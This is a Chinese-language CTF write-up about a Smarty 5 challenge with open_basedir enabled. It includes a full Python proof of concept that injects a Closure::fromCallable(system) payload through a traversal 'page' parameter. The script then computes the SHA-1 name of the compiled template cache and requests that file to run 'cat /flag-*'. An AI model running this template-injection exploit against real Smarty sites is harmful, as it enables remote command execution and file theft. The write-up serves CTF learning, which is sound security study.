  • 调用$smarty->display($file_path)Smarty会将对应文件当作模板加载并输出

    We’re using Smarty 5, with open_basedir, AND don’t even pass user input directly into a template, surely this isn’t insecure. Oh wait…
    以上是题目的提示,有点东西哇,open_basedir,不好,没办法路径遍历了

看看wp
日语,没什么趁手的翻译软件,还不如自己去理解
直接看看poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib
import requests
from urllib.parse import quote

URL = "填你自己的"
cwd = '/app'



target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
w1 = requests.get(URL + "?page=" + quote(target_file))
print(w1.status_code)
print(w1.text)



filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file

w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)

上网查点前置知识

  • Smarty 在渲染模板时,会把源文件路径(包括所有目录)拼成一个字符串,然后 SHA‑1 哈希,再加上后缀,生成在 templates_c/ 下的缓存文件名。
  • 这个poc用来一种反射方法,注入 “Closure 反射” payload,让 PHP 执行 system(“cat /flag-*”) 并把输出写入 Smarty 编译缓存
  • 最后直接第二个请求template_c_file_path = “../templates_c/“ + template_c_file:跳到 templates_c 目录,读取刚才生成的缓存文件。
    有点东西哈,主要还是本地自己挖掘
    然后根据poc逆向分析解题思路(探姬师傅给的两个日语博客也是翻译不了一点啊)
    最后成功拿到flag
    这题也不是很常规的那种,思路挺新奇,不是简单的构造个ssti链去打,而是结合了其他的内容

完结撒花!